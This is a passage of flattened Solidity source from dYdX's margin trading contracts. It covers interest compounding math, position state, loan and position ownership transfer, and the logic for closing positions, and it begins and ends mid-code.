returns (uint32)
{
return 2 ** 32 - 1;
}
/**
* Returns the number of bits in a uint256. That is, the lowest number, x, such that n >> x == 0
*
* @param n The uint256 to get the number of bits in
* @return The number of bits in n
*/
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
// File: contracts/margin/impl/InterestImpl.sol
/**
* @title InterestImpl
* @author dYdX
*
* A library that calculates continuously compounded interest for principal, time period, and
* interest rate.
*/
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
// ============ Constants ============
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
// ============ Public Implementation Functions ============
/**
* Returns total tokens owed after accruing interest. Continuously compounding and accurate to
* roughly 10^18 decimal places. Continuously compounding interest follows the formula:
* I = P * e^(R*T)
*
* @param principal Principal of the interest calculation
* @param interestRate Annual nominal interest percentage times 10**6.
* (example: 5% = 5e6)
* @param secondsOfInterest Number of seconds that interest has been accruing
* @return Total amount of tokens owed. Greater than tokenAmount.
*/
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
// interestRate and secondsOfInterest should both be uint32
assert(numerator < 2**128);
// fraction representing (Rate * Time)
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
// calculate e^(RT)
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
// degenerate case: cap calculation
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
// normal case: calculate e^(RT)
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
// e^X for positive X should be greater-than or equal to 1
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
// ============ Private Helper-Functions ============
/**
* Returns n * f, trying to prevent overflow as much as possible. Assumes that the numerator
* and denominator of f are less than 2**128.
*/
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128); // first 128 bits
uint256 term2 = n % (2 ** 128); // second 128 bits
// uncommon scenario, requires n >= 2**128. calculates term1 = term1 * f
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
// reduce rounding error by shifting all the way to the left before dividing
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
// continue shifting or reduce shifting to get the right number
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
// calculates term2 = term2 * f
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
// File: contracts/margin/impl/MarginState.sol
/**
* @title MarginState
* @author dYdX
*
* Contains state for the Margin contract. Also used by libraries that implement Margin functions.
*/
library MarginState {
struct State {
// Address of the Vault contract
address VAULT;
// Address of the TokenProxy contract
address TOKEN_PROXY;
// Mapping from loanHash -> amount, which stores the amount of a loan which has
// already been filled.
mapping (bytes32 => uint256) loanFills;
// Mapping from loanHash -> amount, which stores the amount of a loan which has
// already been canceled.
mapping (bytes32 => uint256) loanCancels;
// Mapping from positionId -> Position, which stores all the open margin positions.
mapping (bytes32 => MarginCommon.Position) positions;
// Mapping from positionId -> bool, which stores whether the position has previously been
// open, but is now closed.
mapping (bytes32 => bool) closedPositions;
// Mapping from positionId -> uint256, which stores the total amount of owedToken that has
// ever been repaid to the lender for each position. Does not reset.
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
// File: contracts/margin/interfaces/lender/LoanOwner.sol
/**
* @title LoanOwner
* @author dYdX
*
* Interface that smart contracts must implement in order to own loans on behalf of other accounts.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface LoanOwner {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to receive ownership of a loan sell via the
* transferLoan function or the atomic-assign to the "owner" field in a loan offering.
*
* @param from Address of the previous owner
* @param positionId Unique ID of the position
* @return This address to keep ownership, a different address to pass-on ownership
*/
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/interfaces/owner/PositionOwner.sol
/**
* @title PositionOwner
* @author dYdX
*
* Interface that smart contracts must implement in order to own position on behalf of other
* accounts
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface PositionOwner {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to receive ownership of a position via the
* transferPosition function or the atomic-assign to the "owner" field when opening a position.
*
* @param from Address of the previous owner
* @param positionId Unique ID of the position
* @return This address to keep ownership, a different address to pass-on ownership
*/
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/TransferInternal.sol
/**
* @title TransferInternal
* @author dYdX
*
* This library contains the implementation for transferring ownership of loans and positions.
*/
library TransferInternal {
// ============ Events ============
/**
* Ownership of a loan was transferred to a new address
*/
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
/**
* Ownership of a postion was transferred to a new address
*/
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
// ============ Internal Implementation Functions ============
/**
* Returns either the address of the new loan owner, or the address to which they wish to
* pass ownership of the loan. This function does not actually set the state of the position
*
* @param positionId The Unique ID of the position
* @param oldOwner The previous owner of the loan
* @param newOwner The intended owner of the loan
* @return The address that the intended owner wishes to assign the loan to (may be
* the same as the intended owner).
*/
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
// log event except upon position creation
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
/**
* Returns either the address of the new position owner, or the address to which they wish to
* pass ownership of the position. This function does not actually set the state of the position
*
* @param positionId The Unique ID of the position
* @param oldOwner The previous owner of the position
* @param newOwner The intended owner of the position
* @return The address that the intended owner wishes to assign the position to (may
* be the same as the intended owner).
*/
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
// log event except upon position creation
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
// File: contracts/lib/TimestampHelper.sol
/**
* @title TimestampHelper
* @author dYdX
*
* Helper to get block timestamps in other formats
*/
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
// Should not still be in-use in the year 2106
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
// File: contracts/margin/impl/MarginCommon.sol
/**
* @title MarginCommon
* @author dYdX
*
* This library contains common functions for implementations of public facing Margin functions
*/
library MarginCommon {
using SafeMath for uint256;
// ============ Structs ============
struct Position {
address owedToken; // Immutable
address heldToken; // Immutable
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit; // Immutable
uint32 startTimestamp; // Immutable, cannot be 0
uint32 callTimestamp;
uint32 maxDuration; // Immutable
uint32 interestRate; // Immutable
uint32 interestPeriod; // Immutable
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
// ============ Internal Implementation Functions ============
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
/**
* Calculates time elapsed rounded up to the nearest interestPeriod
*/
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
// round up to interestPeriod
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
// bound by maxDuration
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
// ============ Private Helper-Functions ============
/**
* Calculates time elapsed rounded down to the nearest interestPeriod
*/
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
// round down to interestPeriod
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
// bound by maxDuration
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
// File: contracts/margin/interfaces/PayoutRecipient.sol
/**
* @title PayoutRecipient
* @author dYdX
*
* Interface that smart contracts must implement in order to be the payoutRecipient in a
* closePosition transaction.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface PayoutRecipient {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to receive payout from being the payoutRecipient
* in a closePosition transaction. May redistribute any payout as necessary. Throws on error.
*
* @param positionId Unique ID of the position
* @param closeAmount Amount of the position that was closed
* @param closer Address of the account or contract that closed the position
* @param positionOwner Address of the owner of the position
* @param heldToken Address of the ERC20 heldToken
* @param payout Number of tokens received from the payout
* @param totalHeldToken Total amount of heldToken removed from vault during close
* @param payoutInHeldToken True if payout is in heldToken, false if in owedToken
* @return True if approved by the receiver
*/
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
/* onlyMargin */
returns (bool);
}
// File: contracts/margin/interfaces/lender/CloseLoanDelegator.sol
/**
* @title CloseLoanDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses close a loan
* owned by the smart contract.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface CloseLoanDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call
* closeWithoutCounterparty().
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that (at most) the specified amount of the loan was
* successfully closed.
*
* @param closer Address of the caller of closeWithoutCounterparty()
* @param payoutRecipient Address of the recipient of tokens paid out from closing
* @param positionId Unique ID of the position
* @param requestedAmount Requested principal amount of the loan to close
* @return 1) This address to accept, a different address to ask that contract
* 2) The maximum amount that this contract is allowing
*/
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
/* onlyMargin */
returns (address, uint256);
}
// File: contracts/margin/interfaces/owner/ClosePositionDelegator.sol
/**
* @title ClosePositionDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses close a position
* owned by the smart contract, allowing more complex logic to control positions.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface ClosePositionDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call closePosition().
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that (at-most) the specified amount of the position
* was successfully closed.
*
* @param closer Address of the caller of the closePosition() function
* @param payoutRecipient Address of the recipient of tokens paid out from closing
* @param positionId Unique ID of the position
* @param requestedAmount Requested principal amount of the position to close
* @return 1) This address to accept, a different address to ask that contract
* 2) The maximum amount that this contract is allowing
*/
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
/* onlyMargin */
returns (address, uint256);
}
// File: contracts/margin/impl/ClosePositionShared.sol
/**
* @title ClosePositionShared
* @author dYdX
*
* This library contains shared functionality between ClosePositionImpl and
* CloseWithoutCounterpartyImpl
*/
library ClosePositionShared {
using SafeMath for uint256;
// ============ Structs ============
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
// ============ Internal Implementation Functions ============
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
// Delete the position, or just decrease the principal
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
// Send remaining heldToken to payoutRecipient
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
// The ending heldToken balance of the vault should be the starting heldToken balance
// minus the available heldToken amount
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
// Validate
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
// ============ Private Helper-Functions ============
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
// Ensure enough principal
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
// Ensure owner consent
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
// Ensure lender consent
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
// no need to ask for permission
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
// no need to ask for permission
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
// ============ Parsing Functions ============
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
// File: contracts/margin/interfaces/ExchangeWrapper.sol
/**
* @title ExchangeWrapper
* @author dYdX
*
* Contract interface that Exchange Wrapper smart contracts must implement in order to interface
* with other smart contracts through a common interface.
*/
interface ExchangeWrapper {
// ============ Public Functions ============
/**
* Exchange some amount of takerToken for makerToken.
*
* @param tradeOriginator Address of the initiator of the trade (however, this value
* cannot always be trusted as it is set at the discretion of the
* msg.sender)
* @param receiver Address to set allowance on once the trade has completed
* @param makerToken Address of makerToken, the token to receive
* @param takerToken Address of takerToken, the token to pay
* @param requestedFillAmount Amount of takerToken being paid
* @param orderData Arbitrary bytes data for any information to pass to the exchange
* @return The amount of makerToken received
*/
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
/**
* Get amount of takerToken required to buy a certain amount of makerToken for a given trade.
* Should match the takerToken amount used in exchangeForAmount. If the order cannot provide
* exactly desiredMakerToken, then it must return the price to buy the minimum amount greater
* than desiredMakerToken
*
* @param makerToken Address of makerToken, the token to receive
* @param takerToken Address of takerToken, the token to pay
* @param desiredMakerToken Amount of makerToken requested
* @param orderData Arbitrary bytes data for any information to pass to the exchange
* @return Amount of takerToken the needed to complete the transaction
*/
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
// File: contracts/margin/impl/ClosePositionImpl.sol
/**
* @title ClosePositionImpl
* @author dYdX
*
* This library contains the implementation for the closePosition function of Margin
*/
library ClosePositionImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* A position was closed or partially closed
*/
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
// ============ Public Implementation Functions ============
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
// ============ Private Helper-Functions ============
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
// Setting exchangeWrapper to 0x000... indicates owedToken should be taken directly
// from msg.sender
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
// No DEX Order; send owedTokens directly from the closer to the lender
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
// Buy back owedTokens using DEX Order and send to lender
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
// If no owedToken needed for payout: give lender all owedToken, even if more than owed
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
// Transfer owedToken from the exchange wrapper to the lender
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
// Ask the exchange wrapper the cost in heldToken to buy back the close
// amount of owedToken
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
// Require enough available heldToken to pay for the buyback
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
// Send the requisite heldToken to do the buyback from vault to exchange wrapper
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
// Trade the heldToken for the owedToken
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
// File: contracts/margin/impl/CloseWithoutCounterpartyImpl.sol
/**
* @title CloseWithoutCounterpartyImpl
* @author dYdX
*
* This library contains the implementation for the closeWithoutCounterpartyImpl function of
* Margin
*/
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* A position was closed or partially closed
*/
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
// ============ Public Implementation Functions ============
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0, // No buyback cost
0 // Did not receive any owedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
// ============ Private Helper-Functions ============
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
